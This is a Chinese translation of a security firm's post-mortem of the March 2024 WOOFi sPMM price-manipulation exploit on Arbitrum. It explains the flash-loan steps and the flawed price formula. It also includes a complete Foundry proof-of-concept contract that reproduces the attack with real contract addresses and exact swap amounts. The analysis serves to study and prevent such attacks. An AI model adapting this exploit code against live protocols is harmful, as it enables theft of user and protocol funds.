2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法在Arbitrum网络上遭受攻击,损失达到860万美元。攻击者通过一系列闪电贷操控低流动性条件,导致WOO价格异常低下,从而获利。本文详细分析了攻击的背景、步骤及其导致的漏洞。
在2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法被在Arbitrum上利用,导致损失金额达860万美元。详细情况如下。
在2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法被在Arbitrum上利用,导致损失金额达860万美元。
此次利用涉及了一系列闪电贷。闪电贷是一种借贷方式,其中资金在单笔交易中以原子方式借入并偿还。这些贷款被用来利用低流动性来人为控制WOO的价格。这种操控允许攻击者以较低的成本偿还闪电贷,从中获利。
去中心化货币价格源自链上流动性储备,受供需动态的影响。
当流动性较低时,大额交易就更容易显著影响价格。通过执行一系列闪电贷,攻击者向下操纵了WOO的价格,使他们能够以更低的价格重新购买,并偿还闪电贷,从而获得利润。
WOOFi团队的事后分析概述了攻击者采取的以下步骤:
1. 借入USDC和WOO:攻击者使用Uniswap闪电贷借入约1060万USDC,然后借入了WOO代币的总池储备,使用了Trader Joe闪电贷。
UniSwap闪电贷金额: 10590749131947
USDCTJ闪电贷金额: 270455801473726118787783
2. 存入USDC并借入WOO:攻击者存入700万USDC到Silo,并利用这笔资金借入更多WOO代币,使总借款达到约770万WOO代币。
3. 交换代币:攻击者在WOOFi上执行了一系列4次连续的交换:
交换前的预言机价格(小数 = 8):
USDC: 100000000
WOO: 56608180
WETH: 381661997086
攻击者的余额:
USDC余额: 3590749 USDC
WOO余额: 7797221 WOO
WETH余额: 0 WETH
a) USDC -> WETH: 增加USDC储备。
交换后USDC -> WETH的预言机价格(小数 = 8):
USDC: 100000000
WOO: 56608180
WETH: 383188263412
攻击者的余额:
USDC余额: 1590749 USDC
WOO余额: 7797221 WOO
WETH余额: 522 WETH
b) USDC -> WOO: 增加USDC储备。
交换后USDC -> WOO的预言机价格(小数 = 8):
USDC: 100000000
WOO: 57853248
WETH: 383188263412
攻击者的余额:
USDC余额: 1490749 USDC
WOO余额: 7970905 WOO
WETH余额: 522 WETH
c) WOO -> USDC: 操控了WOO价格。
交换后WOO -> USDC的预言机价格(小数 = 8):
USDC: 100000000
WOO: 383188263412
WETH: 9
攻击者的余额:
USDC余额: 3737641 USDC
WOO余额: 114037 WOO
WETH余额: 522 WETH
此攻击的前提是攻击者能够以大额基数交换WOO为USDC,以确保价格足够小。因此,需要足够的USDC储备来防止出现下溢并导致交易回退。由于前两次交换后USDC储备的增长是充足的,因此攻击者得以将大量WOO兑换为USDC。根据WooPPV2::_calcQuoteAmountSellBase
中的特征价格计算,价格可以操控至极端值:
newPrice =
((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
state.price) /
1e18;
baseAmount
被指定为使上述计算的分子接近1e18
,这意味着newPrice
返回的值几乎为零(9
)。以8位小数精度,这会产生价格为$0.00000009。
d) USDC -> WOO: 以最低价格回购WOO。
交换后USDC -> WOO的预言机价格(小数 = 8):
USDC: 100000000
WOO: 383188263412
WETH: 9
攻击者交换后余额:
USDC余额: 3737640 USDC
WOO余额: 10346945 WOO
WETH余额: 522 WETH
这操控了WOOFi的价格预言机。WOOFi的sPMM算法错误地将WOO的价格调整为$0.00000009。利用sPMM造成的极端价格调整,攻击者在同一交易中以最低成本交换了约1000万WOO代币。
-- 欲了解更多信息,请参阅 关于价格预言机操控的指南 。
4. 偿还贷款:在偿还贷款之后,攻击者将多余的USDC交换成WETH,然后将其559 WETH和额外的230万WOO代币发送到另一个地址,此后WOO被交换为WETH。
5. 重复攻击:攻击者重复此攻击三次,结果约 收益875万美元,在归还贷款后。
当调用WooPPV2::swap
时,会分别为交换1、2和4调用_sellQuote()
,而交换3则调用_sellBase()
。
_sellBase()
调用_calcQuoteAmountSellBase()
以获取接收的代币数量和被交换代币的新价格。在这里,价格计算将价格调整到极端值:
function _calcQuoteAmountSellBase(
address baseToken,
uint256 baseAmount,
IWooracleV2.State memory state
) private view returns (uint256 quoteAmount, uint256 newPrice) {
require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");
DecimalInfo memory decs = decimalInfo(baseToken);
// quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)
{
uint256 coef = uint256(1e18) -
((uint256(state.coeff) * baseAmount * state.price) / decs.baseDec / decs.priceDec) -
state.spread;
quoteAmount = (((baseAmount * decs.quoteDec * state.price) / decs.priceDec) * coef) / 1e18 / decs.baseDec;
}
// newPrice = oracle.price * (1 - 2 * k * oracle.price * baseAmount)
newPrice =
((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
state.price) /
1e18;
}
凭借近似值,可以解释为什么会发生这种情况。查看newPrice
计算的以下部分:
(uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec)
δ
定义为(uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec)
,这个计算变为1 - δ
δ ~ 0
,因此可以认为该计算近似为1 - δ ≈ 1
δ
接近1,那么可以近似地将δ ~ 1
,如此一来计算可近似为1 - δ ≈ 0
,这意味着价格计算将非常接近于零,但仍不为零以避免下溢。以下代码由Foundry编写,旨在证明此次攻击,并重现上述步骤:
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from 'forge-std/interfaces/IERC20.sol';
import '../src/interfaces/ITraderJoe.sol';
import '../src/interfaces/ISilo.sol';
import '../src/interfaces/IUniSwapV3Pool.sol';
import '../src/interfaces/IWooPPV2.sol';
import '../src/interfaces/IWETH.sol';
import '../src/interfaces/IWooOracleV2.sol';
contract WOOFiAttacker is Test {
address constant USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
address constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
address constant WOO = 0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b;
ITraderJoe constant TRADERJOE = ITraderJoe(0xB87495219C432fc85161e4283DfF131692A528BD);
ISilo constant SILO = ISilo(0x5C2B80214c1961dB06f69DD4128BcfFc6423d44F);
IWooPPV2 constant WOOPPV2 = IWooPPV2(0xeFF23B4bE1091b53205E35f3AfCD9C7182bf3062);
IWooOracleV2 constant WOOORACLEV2 = IWooOracleV2(0x73504eaCB100c7576146618DC306c97454CB3620);
IUniswapV3Pool constant POOL = IUniswapV3Pool(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
uint256 constant MAX_UINT = type(uint256).max;
uint256 uniSwapFlashAmount;
uint256 traderJoeFlashAmount;
enum Action {
NORMAL,
REENTRANT
}
function setUp() public {
bytes32 txHash = 0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd;
vm.createSelectFork("arb", txHash);
}
function testAttack() public {
// 记录攻击前的状态
console.log("攻击者攻击前的余额:");
console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
uint256 ethBalanceBefore = address(this).balance;
console.log("ETH:", ethBalanceBefore / 1e18, "ETH \n");
// 启动攻击
initFlash();
// 记录攻击后的状态
console.log("攻击者攻击后的余额:");
console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
uint256 ethBalanceAfter = address(this).balance;
console.log("ETH(收益):", (ethBalanceAfter - ethBalanceBefore) / 1e18, "ETH \n");
}
/// @notice 使用在`uniswapV3FlashCallback`中需要的数据调用池的闪电贷函数
function initFlash() public {
// 初始化代币的批准
IERC20(WOO).approve(address(WOOPPV2), MAX_UINT);
IERC20(WOO).approve(address(SILO), MAX_UINT);
IERC20(USDC).approve(address(SILO), MAX_UINT);
IERC20(USDC).approve(address(WOOPPV2), MAX_UINT);
// 获取UniSwap池的USDC余额
uniSwapFlashAmount = IERC20(USDC).balanceOf(address(POOL));
console.log("UniSwap闪电贷金额: ", uniSwapFlashAmount / 1e6, "USDC \n");
// 闪电贷USDC - 调用uniswapV3FlashCallback
POOL.flash(
address(this),
0,
uniSwapFlashAmount,
abi.encode(uint256(1))
);
// 将多余的USDC转换为WETH
int256 swapAmount = int256(IERC20(USDC).balanceOf(address(this)));
POOL.swap(address(this), false, swapAmount, 5148059652436460709226212, new bytes(0));
// 通过回退函数将多余的WETH提取到该合约中
uint256 excessWETHBalance = IERC20(WETH).balanceOf(address(this));
IWETH(WETH).withdraw(excessWETHBalance);
// uint256 excessWOOBalance = IERC20(WOO).balanceOf(address(this));
// IERC20(WOO).transfer({some_other_address}, excessWOOBalance); // 只有在需要发送至攻击者EOA时才需要进行此操作
}
function uniswapV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external {
// 闪电贷WOO
// 获取总池金额
traderJoeFlashAmount = IERC20(WOO).balanceOf(address(TRADERJOE));
console.log("TJ闪电贷金额: ", traderJoeFlashAmount / 1e18, "WOO \n");
bytes32 hashTraderJoeAmount = bytes32(traderJoeFlashAmount);
// 启动闪电贷 - 调用LBFlashLoanCallback
TRADERJOE.flashLoan(ILBFlashLoanCallback(address(this)), hashTraderJoeAmount, new bytes(0));
// 偿还Uniswap闪电贷
IERC20(USDC).transfer(msg.sender, uniSwapFlashAmount + fee1);
}
function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes calldata data) external {
IERC20(USDC).transfer(address(POOL), uint256(amount1));
}
function LBFlashLoanCallback(
address sender,
IERC20 tokenX,
IERC20 tokenY,
bytes32 amounts,
bytes32 totalFees,
bytes calldata data
) external returns (bytes32) {
// 存入USDC并借入Silo中的全部WOO流动性
SILO.deposit(USDC, 7000000000000, true);
uint256 amount = SILO.liquidity(WOO);
SILO.borrow(WOO, amount);
// 4次连续交换:
// 1. USDC -> WETH
IERC20(USDC).transfer(address(WOOPPV2), 2000000000000);
WOOPPV2.swap(USDC, WETH, 2000000000000, 0, address(this), address(this));
// 2. USDC -> WOO
IERC20(USDC).transfer(address(WOOPPV2), 100000000000);
WOOPPV2.swap(USDC, WOO, 100000000000, 0, address(this), address(this));
// 3. WOO -> USDC
IERC20(WOO).transfer(address(WOOPPV2), 7856868800000000000000000);
WOOPPV2.swap(WOO, USDC, 7856868800000000000000000, 0, address(this), address(this));
// 4. USDC -> WOO // 收获奖励
IERC20(USDC).transfer(address(WOOPPV2), 926342);
WOOPPV2.swap(USDC, WOO, 926342, 0, address(this), address(this));
// 偿还Silo中的WOO贷款并提取USDC
SILO.repay(WOO, MAX_UINT);
SILO.withdraw(USDC, MAX_UINT, true);
// 偿还Trader Joe闪电贷
IERC20(WOO).transfer(msg.sender, uint256(amounts) + uint256(totalFees));
// TJ闪电贷需要返回以下数据
bytes32 returnData = keccak256("LBPair.onFlashLoan");
return returnData;
}
receive() external payable {}
/* ----- 辅助函数 ----- */
function _getPrice(address asset) internal view returns (uint256) {
(uint256 priceNow, bool feasible) = WOOORACLEV2.price(asset);
return priceNow;
}
function _getTokenInfo(address token) internal view returns (uint192) {
IWooPPV2.TokenInfo memory tokenInfo = WOOPPV2.tokenInfos(token);
return tokenInfo.reserve;
}
}
_
-- 包含接口的完整代码可在GitHub上查看。_
WOO的价格被操控到极端值,接近于零,通过一大笔代币交换获得的多笔贷款来实现。由于WOO的Chainlink预言机未被设置,因此回退逻辑未被触发,极端价格被接受为有效。这导致攻击者从协议中窃取了约850万美元。
对你的协议进行审计可以显著降低此类攻击发生的概率。
- 原文链接: cyfrin.io/blog/hack-anal...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!